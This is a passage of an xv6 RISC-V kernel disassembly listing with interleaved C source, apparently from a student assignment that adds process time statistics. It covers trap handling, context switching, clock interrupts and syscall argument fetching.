2c2080e7 jalr 706(ra) # 80000c76 <release> release(&wait_lock); 800029bc: 0000f517 auipc a0,0xf 800029c0: 8fc50513 addi a0,a0,-1796 # 800112b8 <wait_lock> 800029c4: ffffe097 auipc ra,0xffffe 800029c8: 2b2080e7 jalr 690(ra) # 80000c76 <release> return -1; 800029cc: 59fd li s3,-1 800029ce: a055 j 80002a72 <wait_stat+0x2d2> printf("\nIts got to proc.c line 7"); 800029d0: 00006517 auipc a0,0x6 800029d4: 98850513 addi a0,a0,-1656 # 80008358 <digits+0x318> 800029d8: ffffe097 auipc ra,0xffffe 800029dc: b9c080e7 jalr -1124(ra) # 80000574 <printf> release(&np->lock); 800029e0: 8526 mv a0,s1 800029e2: ffffe097 auipc ra,0xffffe 800029e6: 294080e7 jalr 660(ra) # 80000c76 <release> release(&wait_lock); 800029ea: 0000f517 auipc a0,0xf 800029ee: 8ce50513 addi a0,a0,-1842 # 800112b8 <wait_lock> 800029f2: ffffe097 auipc ra,0xffffe 800029f6: 284080e7 jalr 644(ra) # 80000c76 <release> return -1; 800029fa: 59fd li s3,-1 800029fc: a89d j 80002a72 <wait_stat+0x2d2> printf("\nIts got to proc.c line 8"); 800029fe: 00006517 auipc a0,0x6 80002a02: 97a50513 addi a0,a0,-1670 # 80008378 <digits+0x338> 80002a06: ffffe097 auipc ra,0xffffe 80002a0a: b6e080e7 jalr -1170(ra) # 80000574 <printf> release(&np->lock); 80002a0e: 8526 mv a0,s1 80002a10: ffffe097 auipc ra,0xffffe 80002a14: 266080e7 jalr 614(ra) # 80000c76 <release> release(&wait_lock); 80002a18: 0000f517 auipc a0,0xf 80002a1c: 8a050513 addi a0,a0,-1888 # 800112b8 <wait_lock> 80002a20: ffffe097 auipc ra,0xffffe 80002a24: 256080e7 jalr 598(ra) # 80000c76 <release> return -1; 80002a28: 59fd li s3,-1 80002a2a: a0a1 j 80002a72 <wait_stat+0x2d2> for(np = proc; np < &proc[NPROC]; np++){ 80002a2c: 18848493 addi s1,s1,392 80002a30: 03348463 beq s1,s3,80002a58 <wait_stat+0x2b8> if(np->parent == p){ 80002a34: 6cbc ld a5,88(s1) 80002a36: ff279be3 bne a5,s2,80002a2c <wait_stat+0x28c> acquire(&np->lock); 80002a3a: 8526 mv a0,s1 80002a3c: ffffe097 auipc ra,0xffffe 80002a40: 186080e7 jalr 390(ra) # 80000bc2 <acquire> if(np->state == ZOMBIE){ 80002a44: 4c9c lw a5,24(s1) 80002a46: db478ae3 beq a5,s4,800027fa <wait_stat+0x5a> release(&np->lock); 80002a4a: 8526 mv a0,s1 80002a4c: ffffe097 auipc ra,0xffffe 80002a50: 22a080e7 jalr 554(ra) # 80000c76 <release> havekids = 1; 80002a54: 8756 mv a4,s5 80002a56: bfd9 j 80002a2c <wait_stat+0x28c> if(!havekids || p->killed){ 80002a58: c701 beqz a4,80002a60 <wait_stat+0x2c0> 80002a5a: 02892783 lw a5,40(s2) 80002a5e: cb85 beqz a5,80002a8e <wait_stat+0x2ee> release(&wait_lock); 80002a60: 0000f517 auipc a0,0xf 80002a64: 85850513 addi a0,a0,-1960 # 800112b8 <wait_lock> 80002a68: ffffe097 auipc ra,0xffffe 80002a6c: 20e080e7 jalr 526(ra) # 80000c76 <release> return -1; 80002a70: 59fd li s3,-1 } 80002a72: 854e mv a0,s3 80002a74: 60e6 ld ra,88(sp) 80002a76: 6446 ld s0,80(sp) 80002a78: 64a6 ld s1,72(sp) 80002a7a: 6906 ld s2,64(sp) 80002a7c: 79e2 ld s3,56(sp) 80002a7e: 7a42 ld s4,48(sp) 80002a80: 7aa2 ld s5,40(sp) 80002a82: 7b02 ld s6,32(sp) 80002a84: 6be2 ld s7,24(sp) 80002a86: 6c42 ld s8,16(sp) 80002a88: 6ca2 ld s9,8(sp) 80002a8a: 6125 addi sp,sp,96 80002a8c: 8082 ret sleep(p, &wait_lock); //DOC: wait-sleep 80002a8e: 85e6 mv a1,s9 80002a90: 854a mv a0,s2 80002a92: fffff097 auipc ra,0xfffff 80002a96: 734080e7 jalr 1844(ra) # 800021c6 <sleep> havekids = 0; 80002a9a: bb91 j 800027ee <wait_stat+0x4e> 0000000080002a9c <swtch>: 80002a9c: 00153023 sd ra,0(a0) 80002aa0: 00253423 sd sp,8(a0) 80002aa4: e900 sd s0,16(a0) 80002aa6: ed04 sd s1,24(a0) 80002aa8: 03253023 sd s2,32(a0) 80002aac: 03353423 sd s3,40(a0) 80002ab0: 03453823 sd s4,48(a0) 80002ab4: 03553c23 sd s5,56(a0) 80002ab8: 05653023 sd s6,64(a0) 80002abc: 05753423 sd s7,72(a0) 80002ac0: 05853823 sd s8,80(a0) 80002ac4: 05953c23 sd s9,88(a0) 80002ac8: 07a53023 sd s10,96(a0) 80002acc: 07b53423 sd s11,104(a0) 80002ad0: 0005b083 ld ra,0(a1) 80002ad4: 0085b103 ld sp,8(a1) 80002ad8: 6980 ld s0,16(a1) 80002ada: 6d84 ld s1,24(a1) 80002adc: 0205b903 ld s2,32(a1) 80002ae0: 0285b983 ld s3,40(a1) 80002ae4: 0305ba03 ld s4,48(a1) 80002ae8: 0385ba83 ld s5,56(a1) 80002aec: 0405bb03 ld s6,64(a1) 80002af0: 0485bb83 ld s7,72(a1) 80002af4: 0505bc03 ld s8,80(a1) 80002af8: 0585bc83 ld s9,88(a1) 80002afc: 0605bd03 ld s10,96(a1) 80002b00: 0685bd83 ld s11,104(a1) 80002b04: 8082 ret 0000000080002b06 <trapinit>: extern int devintr(); void trapinit(void) { 80002b06: 1141 addi sp,sp,-16 80002b08: e406 sd ra,8(sp) 80002b0a: e022 sd s0,0(sp) 80002b0c: 0800 addi s0,sp,16 initlock(&tickslock, "time"); 80002b0e: 00006597 auipc a1,0x6 80002b12: 8e258593 addi a1,a1,-1822 # 800083f0 <states.0+0x30> 80002b16: 00015517 auipc a0,0x15 80002b1a: dd250513 addi a0,a0,-558 # 800178e8 <tickslock> 80002b1e: ffffe097 auipc ra,0xffffe 80002b22: 014080e7 jalr 20(ra) # 80000b32 <initlock> } 80002b26: 60a2 ld ra,8(sp) 80002b28: 6402 ld s0,0(sp) 80002b2a: 0141 addi sp,sp,16 80002b2c: 8082 ret 0000000080002b2e <trapinithart>: // set up to take exceptions and traps while in the kernel. void trapinithart(void) { 80002b2e: 1141 addi sp,sp,-16 80002b30: e422 sd s0,8(sp) 80002b32: 0800 addi s0,sp,16 asm volatile("csrw stvec, %0" : : "r" (x)); 80002b34: 00003797 auipc a5,0x3 80002b38: 64c78793 addi a5,a5,1612 # 80006180 <kernelvec> 80002b3c: 10579073 csrw stvec,a5 w_stvec((uint64)kernelvec); } 80002b40: 6422 ld s0,8(sp) 80002b42: 0141 addi sp,sp,16 80002b44: 8082 ret 0000000080002b46 <usertrapret>: // // return to user space // void usertrapret(void) { 80002b46: 1141 addi sp,sp,-16 80002b48: e406 sd ra,8(sp) 80002b4a: e022 sd s0,0(sp) 80002b4c: 0800 addi s0,sp,16 struct proc *p = myproc(); 80002b4e: fffff097 auipc ra,0xfffff 80002b52: e48080e7 jalr -440(ra) # 80001996 <myproc> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002b56: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() & ~SSTATUS_SIE); 80002b5a: 9bf5 andi a5,a5,-3 asm volatile("csrw sstatus, %0" : : "r" (x)); 80002b5c: 10079073 csrw sstatus,a5 // kerneltrap() to usertrap(), so turn off interrupts until // we're back in user space, where usertrap() is correct. intr_off(); // send syscalls, interrupts, and exceptions to trampoline.S w_stvec(TRAMPOLINE + (uservec - trampoline)); 80002b60: 00004617 auipc a2,0x4 80002b64: 4a060613 addi a2,a2,1184 # 80007000 <_trampoline> 80002b68: 00004697 auipc a3,0x4 80002b6c: 49868693 addi a3,a3,1176 # 80007000 <_trampoline> 80002b70: 8e91 sub a3,a3,a2 80002b72: 040007b7 lui a5,0x4000 80002b76: 17fd addi a5,a5,-1 80002b78: 07b2 slli a5,a5,0xc 80002b7a: 96be add a3,a3,a5 asm volatile("csrw stvec, %0" : : "r" (x)); 80002b7c: 10569073 csrw stvec,a3 // set up trapframe values that uservec will need when // the process next re-enters the kernel. p->trapframe->kernel_satp = r_satp(); // kernel page table 80002b80: 7d38 ld a4,120(a0) asm volatile("csrr %0, satp" : "=r" (x) ); 80002b82: 180026f3 csrr a3,satp 80002b86: e314 sd a3,0(a4) p->trapframe->kernel_sp = p->kstack + PGSIZE; // process's kernel stack 80002b88: 7d38 ld a4,120(a0) 80002b8a: 7134 ld a3,96(a0) 80002b8c: 6585 lui a1,0x1 80002b8e: 96ae add a3,a3,a1 80002b90: e714 sd a3,8(a4) p->trapframe->kernel_trap = (uint64)usertrap; 80002b92: 7d38 ld a4,120(a0) 80002b94: 00000697 auipc a3,0x0 80002b98: 1ac68693 addi a3,a3,428 # 80002d40 <usertrap> 80002b9c: eb14 sd a3,16(a4) p->trapframe->kernel_hartid = r_tp(); // hartid for cpuid() 80002b9e: 7d38 ld a4,120(a0) asm volatile("mv %0, tp" : "=r" (x) ); 80002ba0: 8692 mv a3,tp 80002ba2: f314 sd a3,32(a4) asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002ba4: 100026f3 csrr a3,sstatus // set up the registers that trampoline.S's sret will use // to get to user space. // set S Previous Privilege mode to User. unsigned long x = r_sstatus(); x &= ~SSTATUS_SPP; // clear SPP to 0 for user mode 80002ba8: eff6f693 andi a3,a3,-257 x |= SSTATUS_SPIE; // enable interrupts in user mode 80002bac: 0206e693 ori a3,a3,32 asm volatile("csrw sstatus, %0" : : "r" (x)); 80002bb0: 10069073 csrw sstatus,a3 w_sstatus(x); // set S Exception Program Counter to the saved user pc. w_sepc(p->trapframe->epc); 80002bb4: 7d38 ld a4,120(a0) asm volatile("csrw sepc, %0" : : "r" (x)); 80002bb6: 6f18 ld a4,24(a4) 80002bb8: 14171073 csrw sepc,a4 // tell trampoline.S the user page table to switch to. uint64 satp = MAKE_SATP(p->pagetable); 80002bbc: 792c ld a1,112(a0) 80002bbe: 81b1 srli a1,a1,0xc // jump to trampoline.S at the top of memory, which // switches to the user page table, restores user registers, // and switches to user mode with sret. uint64 fn = TRAMPOLINE + (userret - trampoline); 80002bc0: 00004717 auipc a4,0x4 80002bc4: 4d070713 addi a4,a4,1232 # 80007090 <userret> 80002bc8: 8f11 sub a4,a4,a2 80002bca: 97ba add a5,a5,a4 ((void (*)(uint64,uint64))fn)(TRAPFRAME, satp); 80002bcc: 577d li a4,-1 80002bce: 177e slli a4,a4,0x3f 80002bd0: 8dd9 or a1,a1,a4 80002bd2: 02000537 lui a0,0x2000 80002bd6: 157d addi a0,a0,-1 80002bd8: 0536 slli a0,a0,0xd 80002bda: 9782 jalr a5 } 80002bdc: 60a2 ld ra,8(sp) 80002bde: 6402 ld s0,0(sp) 80002be0: 0141 addi sp,sp,16 80002be2: 8082 ret 0000000080002be4 <clockintr>: w_sstatus(sstatus); } void clockintr() { 80002be4: 7139 addi sp,sp,-64 80002be6: fc06 sd ra,56(sp) 80002be8: f822 sd s0,48(sp) 80002bea: f426 sd s1,40(sp) 80002bec: f04a sd s2,32(sp) 80002bee: ec4e sd s3,24(sp) 80002bf0: e852 sd s4,16(sp) 80002bf2: e456 sd s5,8(sp) 80002bf4: 0080 addi s0,sp,64 struct proc *p; acquire(&tickslock); 80002bf6: 00015517 auipc a0,0x15 80002bfa: cf250513 addi a0,a0,-782 # 800178e8 <tickslock> 80002bfe: ffffe097 auipc ra,0xffffe 80002c02: fc4080e7 jalr -60(ra) # 80000bc2 <acquire> ticks++; 80002c06: 00006717 auipc a4,0x6 80002c0a: 42a70713 addi a4,a4,1066 # 80009030 <ticks> 80002c0e: 431c lw a5,0(a4) 80002c10: 2785 addiw a5,a5,1 80002c12: c31c sw a5,0(a4) for(p = proc; p < &proc[NPROC]; p++){ 80002c14: 0000f497 auipc s1,0xf 80002c18: ad448493 addi s1,s1,-1324 # 800116e8 <proc> acquire(&p->lock); if (p->state == RUNNING){ 80002c1c: 4991 li s3,4 p->rutime ++; } else if (p->state == RUNNABLE){ 80002c1e: 4a0d li s4,3 p->retime ++; } else if (p->state == SLEEPING){ 80002c20: 4a89 li s5,2 for(p = proc; p < &proc[NPROC]; p++){ 80002c22: 00015917 auipc s2,0x15 80002c26: cc690913 addi s2,s2,-826 # 800178e8 <tickslock> 80002c2a: a829 j 80002c44 <clockintr+0x60> p->rutime ++; 80002c2c: 44bc lw a5,72(s1) 80002c2e: 2785 addiw a5,a5,1 80002c30: c4bc sw a5,72(s1) p->stime ++; } release(&p->lock); 80002c32: 8526 mv a0,s1 80002c34: ffffe097 auipc ra,0xffffe 80002c38: 042080e7 jalr 66(ra) # 80000c76 <release> for(p = proc; p < &proc[NPROC]; p++){ 80002c3c: 18848493 addi s1,s1,392 80002c40: 03248663 beq s1,s2,80002c6c <clockintr+0x88> acquire(&p->lock); 80002c44: 8526 mv a0,s1 80002c46: ffffe097 auipc ra,0xffffe 80002c4a: f7c080e7 jalr -132(ra) # 80000bc2 <acquire> if (p->state == RUNNING){ 80002c4e: 4c9c lw a5,24(s1) 80002c50: fd378ee3 beq a5,s3,80002c2c <clockintr+0x48> else if (p->state == RUNNABLE){ 80002c54: 01478863 beq a5,s4,80002c64 <clockintr+0x80> else if (p->state == SLEEPING){ 80002c58: fd579de3 bne a5,s5,80002c32 <clockintr+0x4e> p->stime ++; 80002c5c: 40bc lw a5,64(s1) 80002c5e: 2785 addiw a5,a5,1 80002c60: c0bc sw a5,64(s1) 80002c62: bfc1 j 80002c32 <clockintr+0x4e> p->retime ++; 80002c64: 40fc lw a5,68(s1) 80002c66: 2785 addiw a5,a5,1 80002c68: c0fc sw a5,68(s1) 80002c6a: b7e1 j 80002c32 <clockintr+0x4e> } wakeup(&ticks); 80002c6c: 00006517 auipc a0,0x6 80002c70: 3c450513 addi a0,a0,964 # 80009030 <ticks> 80002c74: fffff097 auipc ra,0xfffff 80002c78: 6de080e7 jalr 1758(ra) # 80002352 <wakeup> release(&tickslock); 80002c7c: 00015517 auipc a0,0x15 80002c80: c6c50513 addi a0,a0,-916 # 800178e8 <tickslock> 80002c84: ffffe097 auipc ra,0xffffe 80002c88: ff2080e7 jalr -14(ra) # 80000c76 <release> } 80002c8c: 70e2 ld ra,56(sp) 80002c8e: 7442 ld s0,48(sp) 80002c90: 74a2 ld s1,40(sp) 80002c92: 7902 ld s2,32(sp) 80002c94: 69e2 ld s3,24(sp) 80002c96: 6a42 ld s4,16(sp) 80002c98: 6aa2 ld s5,8(sp) 80002c9a: 6121 addi sp,sp,64 80002c9c: 8082 ret 0000000080002c9e <devintr>: // returns 2 if timer interrupt, // 1 if other device, // 0 if not recognized. int devintr() { 80002c9e: 1101 addi sp,sp,-32 80002ca0: ec06 sd ra,24(sp) 80002ca2: e822 sd s0,16(sp) 80002ca4: e426 sd s1,8(sp) 80002ca6: 1000 addi s0,sp,32 asm volatile("csrr %0, scause" : "=r" (x) ); 80002ca8: 14202773 csrr a4,scause uint64 scause = r_scause(); if((scause & 0x8000000000000000L) && 80002cac: 00074d63 bltz a4,80002cc6 <devintr+0x28> // now allowed to interrupt again. if(irq) plic_complete(irq); return 1; } else if(scause == 0x8000000000000001L){ 80002cb0: 57fd li a5,-1 80002cb2: 17fe slli a5,a5,0x3f 80002cb4: 0785 addi a5,a5,1 // the SSIP bit in sip. w_sip(r_sip() & ~2); return 2; } else { return 0; 80002cb6: 4501 li a0,0 } else if(scause == 0x8000000000000001L){ 80002cb8: 06f70363 beq a4,a5,80002d1e <devintr+0x80> } } 80002cbc: 60e2 ld ra,24(sp) 80002cbe: 6442 ld s0,16(sp) 80002cc0: 64a2 ld s1,8(sp) 80002cc2: 6105 addi sp,sp,32 80002cc4: 8082 ret (scause & 0xff) == 9){ 80002cc6: 0ff77793 andi a5,a4,255 if((scause & 0x8000000000000000L) && 80002cca: 46a5 li a3,9 80002ccc: fed792e3 bne a5,a3,80002cb0 <devintr+0x12> int irq = plic_claim(); 80002cd0: 00003097 auipc ra,0x3 80002cd4: 5b8080e7 jalr 1464(ra) # 80006288 <plic_claim> 80002cd8: 84aa mv s1,a0 if(irq == UART0_IRQ){ 80002cda: 47a9 li a5,10 80002cdc: 02f50763 beq a0,a5,80002d0a <devintr+0x6c> } else if(irq == VIRTIO0_IRQ){ 80002ce0: 4785 li a5,1 80002ce2: 02f50963 beq a0,a5,80002d14 <devintr+0x76> return 1; 80002ce6: 4505 li a0,1 } else if(irq){ 80002ce8: d8f1 beqz s1,80002cbc <devintr+0x1e> printf("unexpected interrupt irq=%d\n", irq); 80002cea: 85a6 mv a1,s1 80002cec: 00005517 auipc a0,0x5 80002cf0: 70c50513 addi a0,a0,1804 # 800083f8 <states.0+0x38> 80002cf4: ffffe097 auipc ra,0xffffe 80002cf8: 880080e7 jalr -1920(ra) # 80000574 <printf> plic_complete(irq); 80002cfc: 8526 mv a0,s1 80002cfe: 00003097 auipc ra,0x3 80002d02: 5ae080e7 jalr 1454(ra) # 800062ac <plic_complete> return 1; 80002d06: 4505 li a0,1 80002d08: bf55 j 80002cbc <devintr+0x1e> uartintr(); 80002d0a: ffffe097 auipc ra,0xffffe 80002d0e: c7c080e7 jalr -900(ra) # 80000986 <uartintr> 80002d12: b7ed j 80002cfc <devintr+0x5e> virtio_disk_intr(); 80002d14: 00004097 auipc ra,0x4 80002d18: a2a080e7 jalr -1494(ra) # 8000673e <virtio_disk_intr> 80002d1c: b7c5 j 80002cfc <devintr+0x5e> if(cpuid() == 0){ 80002d1e: fffff097 auipc ra,0xfffff 80002d22: c4c080e7 jalr -948(ra) # 8000196a <cpuid> 80002d26: c901 beqz a0,80002d36 <devintr+0x98> asm volatile("csrr %0, sip" : "=r" (x) ); 80002d28: 144027f3 csrr a5,sip w_sip(r_sip() & ~2); 80002d2c: 9bf5 andi a5,a5,-3 asm volatile("csrw sip, %0" : : "r" (x)); 80002d2e: 14479073 csrw sip,a5 return 2; 80002d32: 4509 li a0,2 80002d34: b761 j 80002cbc <devintr+0x1e> clockintr(); 80002d36: 00000097 auipc ra,0x0 80002d3a: eae080e7 jalr -338(ra) # 80002be4 <clockintr> 80002d3e: b7ed j 80002d28 <devintr+0x8a> 0000000080002d40 <usertrap>: { 80002d40: 1101 addi sp,sp,-32 80002d42: ec06 sd ra,24(sp) 80002d44: e822 sd s0,16(sp) 80002d46: e426 sd s1,8(sp) 80002d48: e04a sd s2,0(sp) 80002d4a: 1000 addi s0,sp,32 asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002d4c: 100027f3 csrr a5,sstatus if((r_sstatus() & SSTATUS_SPP) != 0) 80002d50: 1007f793 andi a5,a5,256 80002d54: e3ad bnez a5,80002db6 <usertrap+0x76> asm volatile("csrw stvec, %0" : : "r" (x)); 80002d56: 00003797 auipc a5,0x3 80002d5a: 42a78793 addi a5,a5,1066 # 80006180 <kernelvec> 80002d5e: 10579073 csrw stvec,a5 struct proc *p = myproc(); 80002d62: fffff097 auipc ra,0xfffff 80002d66: c34080e7 jalr -972(ra) # 80001996 <myproc> 80002d6a: 84aa mv s1,a0 p->trapframe->epc = r_sepc(); 80002d6c: 7d3c ld a5,120(a0) asm volatile("csrr %0, sepc" : "=r" (x) ); 80002d6e: 14102773 csrr a4,sepc 80002d72: ef98 sd a4,24(a5) asm volatile("csrr %0, scause" : "=r" (x) ); 80002d74: 14202773 csrr a4,scause if(r_scause() == 8){ 80002d78: 47a1 li a5,8 80002d7a: 04f71c63 bne a4,a5,80002dd2 <usertrap+0x92> if(p->killed) 80002d7e: 551c lw a5,40(a0) 80002d80: e3b9 bnez a5,80002dc6 <usertrap+0x86> p->trapframe->epc += 4; 80002d82: 7cb8 ld a4,120(s1) 80002d84: 6f1c ld a5,24(a4) 80002d86: 0791 addi a5,a5,4 80002d88: ef1c sd a5,24(a4) asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002d8a: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() | SSTATUS_SIE); 80002d8e: 0027e793 ori a5,a5,2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80002d92: 10079073 csrw sstatus,a5 syscall(); 80002d96: 00000097 auipc ra,0x0 80002d9a: 2e0080e7 jalr 736(ra) # 80003076 <syscall> if(p->killed) 80002d9e: 549c lw a5,40(s1) 80002da0: ebc1 bnez a5,80002e30 <usertrap+0xf0> usertrapret(); 80002da2: 00000097 auipc ra,0x0 80002da6: da4080e7 jalr -604(ra) # 80002b46 <usertrapret> } 80002daa: 60e2 ld ra,24(sp) 80002dac: 6442 ld s0,16(sp) 80002dae: 64a2 ld s1,8(sp) 80002db0: 6902 ld s2,0(sp) 80002db2: 6105 addi sp,sp,32 80002db4: 8082 ret panic("usertrap: not from user mode"); 80002db6: 00005517 auipc a0,0x5 80002dba: 66250513 addi a0,a0,1634 # 80008418 <states.0+0x58> 80002dbe: ffffd097 auipc ra,0xffffd 80002dc2: 76c080e7 jalr 1900(ra) # 8000052a <panic> exit(-1); 80002dc6: 557d li a0,-1 80002dc8: fffff097 auipc ra,0xfffff 80002dcc: 692080e7 jalr 1682(ra) # 8000245a <exit> 80002dd0: bf4d j 80002d82 <usertrap+0x42> } else if((which_dev = devintr()) != 0){ 80002dd2: 00000097 auipc ra,0x0 80002dd6: ecc080e7 jalr -308(ra) # 80002c9e <devintr> 80002dda: 892a mv s2,a0 80002ddc: c501 beqz a0,80002de4 <usertrap+0xa4> if(p->killed) 80002dde: 549c lw a5,40(s1) 80002de0: c3a1 beqz a5,80002e20 <usertrap+0xe0> 80002de2: a815 j 80002e16 <usertrap+0xd6> asm volatile("csrr %0, scause" : "=r" (x) ); 80002de4: 142025f3 csrr a1,scause printf("usertrap(): unexpected scause %p pid=%d\n", r_scause(), p->pid); 80002de8: 5890 lw a2,48(s1) 80002dea: 00005517 auipc a0,0x5 80002dee: 64e50513 addi a0,a0,1614 # 80008438 <states.0+0x78> 80002df2: ffffd097 auipc ra,0xffffd 80002df6: 782080e7 jalr 1922(ra) # 80000574 <printf> asm volatile("csrr %0, sepc" : "=r" (x) ); 80002dfa: 141025f3 csrr a1,sepc asm volatile("csrr %0, stval" : "=r" (x) ); 80002dfe: 14302673 csrr a2,stval printf(" sepc=%p stval=%p\n", r_sepc(), r_stval()); 80002e02: 00005517 auipc a0,0x5 80002e06: 66650513 addi a0,a0,1638 # 80008468 <states.0+0xa8> 80002e0a: ffffd097 auipc ra,0xffffd 80002e0e: 76a080e7 jalr 1898(ra) # 80000574 <printf> p->killed = 1; 80002e12: 4785 li a5,1 80002e14: d49c sw a5,40(s1) exit(-1); 80002e16: 557d li a0,-1 80002e18: fffff097 auipc ra,0xfffff 80002e1c: 642080e7 jalr 1602(ra) # 8000245a <exit> if(which_dev == 2) 80002e20: 4789 li a5,2 80002e22: f8f910e3 bne s2,a5,80002da2 <usertrap+0x62> yield(); 80002e26: fffff097 auipc ra,0xfffff 80002e2a: 334080e7 jalr 820(ra) # 8000215a <yield> 80002e2e: bf95 j 80002da2 <usertrap+0x62> int which_dev = 0; 80002e30: 4901 li s2,0 80002e32: b7d5 j 80002e16 <usertrap+0xd6> 0000000080002e34 <kerneltrap>: { 80002e34: 7179 addi sp,sp,-48 80002e36: f406 sd ra,40(sp) 80002e38: f022 sd s0,32(sp) 80002e3a: ec26 sd s1,24(sp) 80002e3c: e84a sd s2,16(sp) 80002e3e: e44e sd s3,8(sp) 80002e40: 1800 addi s0,sp,48 asm volatile("csrr %0, sepc" : "=r" (x) ); 80002e42: 14102973 csrr s2,sepc asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002e46: 100024f3 csrr s1,sstatus asm volatile("csrr %0, scause" : "=r" (x) ); 80002e4a: 142029f3 csrr s3,scause if((sstatus & SSTATUS_SPP) == 0) 80002e4e: 1004f793 andi a5,s1,256 80002e52: cb85 beqz a5,80002e82 <kerneltrap+0x4e> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002e54: 100027f3 csrr a5,sstatus return (x & SSTATUS_SIE) != 0; 80002e58: 8b89 andi a5,a5,2 if(intr_get() != 0) 80002e5a: ef85 bnez a5,80002e92 <kerneltrap+0x5e> if((which_dev = devintr()) == 0){ 80002e5c: 00000097 auipc ra,0x0 80002e60: e42080e7 jalr -446(ra) # 80002c9e <devintr> 80002e64: cd1d beqz a0,80002ea2 <kerneltrap+0x6e> if(which_dev == 2 && myproc() != 0 && myproc()->state == RUNNING) 80002e66: 4789 li a5,2 80002e68: 06f50a63 beq a0,a5,80002edc <kerneltrap+0xa8> asm volatile("csrw sepc, %0" : : "r" (x)); 80002e6c: 14191073 csrw sepc,s2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80002e70: 10049073 csrw sstatus,s1 } 80002e74: 70a2 ld ra,40(sp) 80002e76: 7402 ld s0,32(sp) 80002e78: 64e2 ld s1,24(sp) 80002e7a: 6942 ld s2,16(sp) 80002e7c: 69a2 ld s3,8(sp) 80002e7e: 6145 addi sp,sp,48 80002e80: 8082 ret panic("kerneltrap: not from supervisor mode"); 80002e82: 00005517 auipc a0,0x5 80002e86: 60650513 addi a0,a0,1542 # 80008488 <states.0+0xc8> 80002e8a: ffffd097 auipc ra,0xffffd 80002e8e: 6a0080e7 jalr 1696(ra) # 8000052a <panic> panic("kerneltrap: interrupts enabled"); 80002e92: 00005517 auipc a0,0x5 80002e96: 61e50513 addi a0,a0,1566 # 800084b0 <states.0+0xf0> 80002e9a: ffffd097 auipc ra,0xffffd 80002e9e: 690080e7 jalr 1680(ra) # 8000052a <panic> printf("scause %p\n", scause); 80002ea2: 85ce mv a1,s3 80002ea4: 00005517 auipc a0,0x5 80002ea8: 62c50513 addi a0,a0,1580 # 800084d0 <states.0+0x110> 80002eac: ffffd097 auipc ra,0xffffd 80002eb0: 6c8080e7 jalr 1736(ra) # 80000574 <printf> asm volatile("csrr %0, sepc" : "=r" (x) ); 80002eb4: 141025f3 csrr a1,sepc asm volatile("csrr %0, stval" : "=r" (x) ); 80002eb8: 14302673 csrr a2,stval printf("sepc=%p stval=%p\n", r_sepc(), r_stval()); 80002ebc: 00005517 auipc a0,0x5 80002ec0: 62450513 addi a0,a0,1572 # 800084e0 <states.0+0x120> 80002ec4: ffffd097 auipc ra,0xffffd 80002ec8: 6b0080e7 jalr 1712(ra) # 80000574 <printf> panic("kerneltrap"); 80002ecc: 00005517 auipc a0,0x5 80002ed0: 62c50513 addi a0,a0,1580 # 800084f8 <states.0+0x138> 80002ed4: ffffd097 auipc ra,0xffffd 80002ed8: 656080e7 jalr 1622(ra) # 8000052a <panic> if(which_dev == 2 && myproc() != 0 && myproc()->state == RUNNING) 80002edc: fffff097 auipc ra,0xfffff 80002ee0: aba080e7 jalr -1350(ra) # 80001996 <myproc> 80002ee4: d541 beqz a0,80002e6c <kerneltrap+0x38> 80002ee6: fffff097 auipc ra,0xfffff 80002eea: ab0080e7 jalr -1360(ra) # 80001996 <myproc> 80002eee: 4d18 lw a4,24(a0) 80002ef0: 4791 li a5,4 80002ef2: f6f71de3 bne a4,a5,80002e6c <kerneltrap+0x38> yield(); 80002ef6: fffff097 auipc ra,0xfffff 80002efa: 264080e7 jalr 612(ra) # 8000215a <yield> 80002efe: b7bd j 80002e6c <kerneltrap+0x38> 0000000080002f00 <argraw>: return strlen(buf); } static uint64 argraw(int n) { 80002f00: 1101 addi sp,sp,-32 80002f02: ec06 sd ra,24(sp) 80002f04: e822 sd s0,16(sp) 80002f06: e426 sd s1,8(sp) 80002f08: 1000 addi s0,sp,32 80002f0a: 84aa mv s1,a0 struct proc *p = myproc(); 80002f0c: fffff097 auipc ra,0xfffff 80002f10: a8a080e7 jalr -1398(ra) # 80001996 <myproc> switch (n) { 80002f14: 4795 li a5,5 80002f16: 0497e163 bltu a5,s1,80002f58 <argraw+0x58> 80002f1a: 048a slli s1,s1,0x2 80002f1c: 00005717 auipc a4,0x5 80002f20: 6fc70713 addi a4,a4,1788 # 80008618 <states.0+0x258> 80002f24: 94ba add s1,s1,a4 80002f26: 409c lw a5,0(s1) 80002f28: 97ba add a5,a5,a4 80002f2a: 8782 jr a5 case 0: return p->trapframe->a0; 80002f2c: 7d3c ld a5,120(a0) 80002f2e: 7ba8 ld a0,112(a5) case 5: return p->trapframe->a5; } panic("argraw"); return -1; } 80002f30: 60e2 ld ra,24(sp) 80002f32: 6442 ld s0,16(sp) 80002f34: 64a2 ld s1,8(sp) 80002f36: 6105 addi sp,sp,32 80002f38: 8082 ret return p->trapframe->a1; 80002f3a: 7d3c ld a5,120(a0) 80002f3c: 7fa8 ld a0,120(a5) 80002f3e: bfcd j 80002f30 <argraw+0x30> return p->trapframe->a2; 80002f40: 7d3c ld a5,120(a0) 80002f42: 63c8 ld a0,128(a5) 80002f44: b7f5 j 80002f30 <argraw+0x30> return p->trapframe->a3; 80002f46: 7d3c ld a5,120(a0) 80002f48: 67c8 ld a0,136(a5) 80002f4a: b7dd j 80002f30 <argraw+0x30> return p->trapframe->a4; 80002f4c: 7d3c ld a5,120(a0) 80002f4e: 6bc8 ld a0,144(a5) 80002f50: b7c5 j 80002f30 <argraw+0x30> return p->trapframe->a5; 80002f52: 7d3c ld a5,120(a0) 80002f54: 6fc8 ld a0,152(a5) 80002f56: bfe9 j 80002f30 <argraw+0x30> panic("argraw"); 80002f58: 00005517 auipc a0,0x5 80002f5c: 5b050513 addi a0,a0,1456 # 80008508 <states.0+0x148> 80002f60: ffffd097 auipc ra,0xffffd 80002f64: 5ca080e7 jalr 1482(ra) # 8000052a <panic> 0000000080002f68 <fetchaddr>: { 80002f68: 1101 addi sp,sp,-32 80002f6a: ec06 sd ra,24(sp) 80002f6c: e822 sd s0,16(sp) 80002f6e: e426 sd s1,8(sp) 